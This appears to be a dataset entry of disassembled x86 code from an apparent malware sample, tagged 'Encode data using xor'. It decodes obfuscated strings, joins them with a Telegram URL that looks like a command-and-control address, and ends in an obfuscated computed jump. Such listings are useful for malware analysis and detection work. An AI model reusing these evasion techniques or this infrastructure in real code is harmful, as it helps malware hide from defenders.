Function at 0x420360
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xe30
mov esi, esp
push 0x1000
call fcn.00408550
add esp, 4
mov dword [esi + 0x820], 0xcbfaec92
mov dword [esi + 0x824], 0x9d4e5945
mov word [esi + 0x828], 0xe180
mov dword [esi + 0x82a], 0
mov dword [esi + 0x82e], 0
mov dword [esi + 0x832], 0
mov byte [esi + 0x836], 0
mov dword [esi + 0x200], 0
mov ecx, dword [esi + 0x200]
cmp ecx, 0x16
ja 0x42042e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x200]
mov edx, dword [esi + 0x200]
movzx edx, byte [esi + edx + 0x820]
lea edi, [ecx - 0x327512c4]
add ecx, 0x3c
and ecx, edx
or edi, edx
sub edi, ecx
mov ecx, edi
xor ecx, 0x5b
and edi, 0x5b
lea edx, [ecx + edi*2]
inc dl
mov ecx, dword [esi + 0x200]
mov byte [esi + ecx + 0x820], dl
inc dword [esi + 0x200]
mov ecx, dword [esi + 0x200]
cmp ecx, 0x17
jb 0x4203e0
mov dword [esi + 0x64], eax
mov eax, dword [str.default]
mov dword [esi + 0xc], eax
mov dword [esi + 0x550], 0x2e043610
mov dword [esi + 0x554], 0xf8caf3f3
mov dword [esi + 0x558], 0xc4f2f6c7
mov dword [esi + 0x55c], 0xc5f9fef6
mov word [esi + 0x560], 0x3510
mov byte [esi + 0x562], 0x54
mov dword [esi + 0x563], 0
mov dword [esi + 0x567], 0
mov dword [esi + 0x56b], 0
mov dword [esi + 0x56f], 0
mov dword [esi + 0x573], 0
mov dword [esi + 0x577], 0
mov word [esi + 0x57b], 0
mov dword [esi + 0x200], 0
mov ecx, dword [esi + 0x200]
cmp ecx, 0x2c
ja 0x42051a
nop
nop
nop
nop
nop
mov edx, dword [esi + 0x200]
mov ecx, dword [esi + 0x200]
movzx edi, byte [esi + ecx + 0x550]
lea ecx, [edx + edi]
add ecx, 0x32948cd1
add edx, 0x32948cd1
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x49
mov edx, dword [esi + 0x200]
mov byte [esi + edx + 0x550], cl
inc dword [esi + 0x200]
mov ecx, dword [esi + 0x200]
cmp ecx, 0x2d
jb 0x4204d0
mov ecx, dword [str.2xlAvx__https:__t.me_sandora81]
mov dword [esi + 0x200], 0xc6f09193
mov dword [esi + 0x204], 0xc8c8953d
mov dword [esi + 0x208], 0x9fea83bf
mov dword [esi + 0x20c], 0xb38eed8b
mov dword [esi + 0x210], 0xa2bfbcb5
mov dword [esi + 0x214], 0xb8b1baba
mov dword [esi + 0x218], 0xe6c0a2aa
mov dword [esi + 0x21c], 0xa2ab81fc
mov dword [esi + 0x220], 0xe191b0ad
mov dword [esi + 0x224], 0xaea397f4
mov dword [esi + 0x228], 0xcba08d94
mov dword [esi + 0x22c], 0xcf9c8cb1
mov dword [esi + 0x230], 0xd1c2d1d2
mov dword [esi + 0x234], 0xfdd2d7d4
mov dword [esi + 0x238], 0xa2a6d9c5
mov dword [esi + 0x23c], 0xffdeb7b8
mov dword [esi + 0x240], 0
mov dword [esi + 0x244], 0
mov word [esi + 0x248], 0
mov dword [esi + 0xa20], 0
mov edx, dword [esi + 0xa20]
cmp edx, 0x49
ja 0x420664
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [esi + 0xa20]
mov edx, dword [esi + 0xa20]
movzx eax, byte [esi + edx + 0x200]
lea edx, [edi + eax]
add edx, 0xdcc7f4b8
add edi, 0xdcc7f4b8
mov ebx, eax
not ebx
or ebx, edi
add ebx, eax
inc ebx
and edi, eax
mov eax, ebx
xor eax, edi
and edi, ebx
lea eax, [eax + edi*2]
mov ebx, eax
not ebx
and ebx, edx
not edx
and edx, eax
sub ebx, edx
add bl, 0xf8
mov eax, dword [esi + 0xa20]
mov byte [esi + eax + 0x200], bl
inc dword [esi + 0xa20]
mov eax, dword [esi + 0xa20]
cmp eax, 0x4a
jb 0x420600
movzx edx, byte [esi + 0x200]
mov ebx, dword [esi + 0x64]
test dl, dl
je 0x42068b
lea edi, [esi + 0x201]
mov ebx, dword [esi + 0x64]
nop
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [edi]
inc edi
test dl, dl
jne 0x420680
mov byte [ebx], 0
movzx edx, byte [ecx]
test dl, dl
je 0x4206ad
inc ecx
mov eax, dword [esi + 0xc]
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x4206a0
jmp 0x4206b0
mov eax, dword [esi + 0xc]
mov byte [ebx], 0
movzx ecx, byte [esi + 0x550]
test cl, cl
je 0x4206db
lea edx, [esi + 0x551]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x4206d0
mov byte [ebx], 0
movzx ecx, byte [eax]
test cl, cl
je 0x4206fb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4206f0
mov byte [ebx], 0
movzx eax, byte [esi + 0x820]
test al, al
je 0x42071b
lea ecx, [esi + 0x821]
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x420710
mov byte [ebx], 0
push 0
call fcn.004348b0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ecx*4 + 0x43f1d8]
mov ecx, 0x2431c08
xor ecx, dword [0x43f1e0]
add ecx, edx
inc ecx
jmp ecx